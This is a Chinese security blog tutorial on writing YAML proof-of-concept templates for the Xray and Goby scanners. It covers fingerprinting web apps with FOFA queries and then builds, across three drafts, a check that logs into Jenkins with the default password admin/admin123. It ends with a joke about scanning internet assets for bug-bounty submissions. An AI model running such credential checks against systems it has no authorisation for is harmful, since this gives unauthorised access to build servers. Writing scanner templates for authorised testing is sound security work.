白哥给大家写POC~
2022-7-15 08:30:43 Author: 李白你好(查看原文) 阅读量:55 收藏

0x00 前言

主流的被动扫描器类似于Xray、Goby的POC都支持YAML格式,YAML是JSON的超集,也就是说,你也可以用JSON编写POC,但这里还是建议大家使用YAML来编写,原因如下:

  • • YAML的值无需使用双引号包裹,所以特殊字符无需转义

  • • YAML的内容更加可读

  • • YAML中可以使用注释给大家演示一个最简单的YAML格式的POC。

今天给大家写一个最简单的弱口令的POC_Yaml,会写的师傅略过此篇文章,不会的可以瞅瞅~参考简单的POC的编写后续别的漏洞的POC编写按照这个方法来就行了。

0x01 Jenkins简介

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。

简介都是废话,其实就是一个登录框咱就要进后台。

登录框

0x02 指纹识别

所谓指纹就是一款应用(大多数情况下是Web应用)所具有的独有的特征,根据该特征,我们就可以识别出这款应用的通用框架或组件等。举个例子:Discuz是一款由康盛公司开发的知名论坛类型的CMS系统。它的外观通常是这样的:

Discuz

但也有可能是这样的:

Discuz

从外观上看,两个网站有很大区别,几乎不是同一个类型的。但是,我们可以去找共同点,这个过程也就是指纹提取。指纹提取,通常需要我们查看网页源码,我们来看一下二者源码有什么相同点:

注意到: <meta name="generator" content="Discuz! X3.?" />这一行。其中,第一个网站是3.1,而第二个网站是3.3 。这个指纹通常是不会被改变的。于是一条识别Discuz框架的指纹就产生了,那就是:源码含有<meta name="generator" content="Discuz!

打开fofa,分别输入: body="<meta name=\"generator\" content=\"Discuz!\"" body="name=\"srhlocality\""

如果把后者的召回率比作1的话,前者的召回率大概在99.10% 。这样看来二者是有些细微区别的,我们鼓励开发者尽可能多地尝试使用不含有框架本身信息的指纹,以避免在二次开发场景下的篡改,导致召回率下降。

Jenkins_finger

源代码
app="Jenkins"
FOFA语法

0x03 POC

POC编写逻辑 需要先用一个错误的密码 获取一个cookie,再用这个cookie 加上正确的密码获取登录后的cookie,也就是说只有登录失败才会触发下发cookie机制。

admin admin123
name: poc-yaml-Jenkins-default-password
level: 2
finger: |
  "Jenkins" in finger.name 
rules:
  - method: POST
    path: /login.html/j_spring_security_check
    body: |
      j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
    expression: | 
      response.status==302
detail:
  author: libai
  links: 
    - https://libai.blog.csdn.net/

扫不出来继续修改 当响应数据包出现HTTP/1.1 302 Found并且body内容为空时,继续匹配下一个数据包。

name: poc-yaml-Jenkins-default-password
level: 2
finger: |
  "Jenkins" in finger.name 
rules:
  - method: POST
    path: /login.html/j_spring_security_check
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
    follow_redirects: false
    expression: | 
      response.status==302
  - method: GET
    path: /
    headers:
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
    follow_redirects: true
    expression: | 
      response.status==200 && response.X-Frame-Options("sameorigin") && response.X-Instance-Identity("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/djRRKaisgFzKuSi1HBSz13uriuet6q65mYdMDii3zfxqvQQyvvwxSQ01J+4/+45cyXqOPMY2nIeJ5IW2fPVASuk0B9BRJQFBSVjp5hvIRuT9Piw7Op1EmgVWDXiqHR958CPlCY5I1Z/exqAHR0nEXky1YfuR59t6OW3tfa2vLuotNS1ISbJSunXwLAxfOe/wrh9TeIkiEiVBpM/1po+Q8DcOLc1S1MBg2WyXpR6xG1OVkYRYHeskGFcq20mBGdLj0Xg8Jd8y4qwMSm3xCmqf/Cio1pkiPilhM95dr31Oc3sRmGmCPBUJ5GU7Vw0pzhao5PXwiyLOa2nPgRH7gZzQIDAQAB")   
detail:
  author: libai
  links: 
    - https://libai.blog.csdn.net/

还是不正确继续修改 expression里面尽量匹配bady,因为当这个字段有些webserver 代理的时候可能会修改,有nignx代理的时候可能会导致字段出现变化。

X-Frame-Options: sameorigin
X-Instance-Identity:

完整的POC 可以加载到Xray或者Goby里面,找个互联网资产扫一哈交个公益SRC,哈哈哈哈哈

name: poc-yaml-jenkins-default-password
level: 2
finger: |
  "Jenkins" in finger.name 
rules:
  - method: POST
    path: /j_spring_security_check
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      j_username=admin&j_password=admin123a&from=%2F&Submit=%E7%99%BB%E5%BD%95
    follow_redirects: false
    expression: | 
      response.status==302  ##返回302时是否跟随跳转的location
  - method: POST
    path: /j_spring_security_check
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
    follow_redirects: false
    expression: | 
      response.status==302
  - method: GET
    path: /
    headers:
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
    follow_redirects: true
    expression: | 
      response.status==200 && response.body.bcontains(b'am-monitor__indicator-mobile')
detail:
  author: libai
  links: 
    - https://libai.blog.csdn.net/

往期推荐

红蓝对抗自动化利用工具整理

实战一次真实的域渗透拿下域控

一次任意文件下载引发的渗透

对某专属厂商的逻辑漏洞挖掘



文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247492019&idx=1&sn=ab7d5dd4f0d092dea6a941b8f528f9af&chksm=c09a92e3f7ed1bf5c0d734430a054aeb4b2c3c63ddb304e227685fb28131b22aa6dec385e2fa#rd
如有侵权请联系:admin#unsafe.sh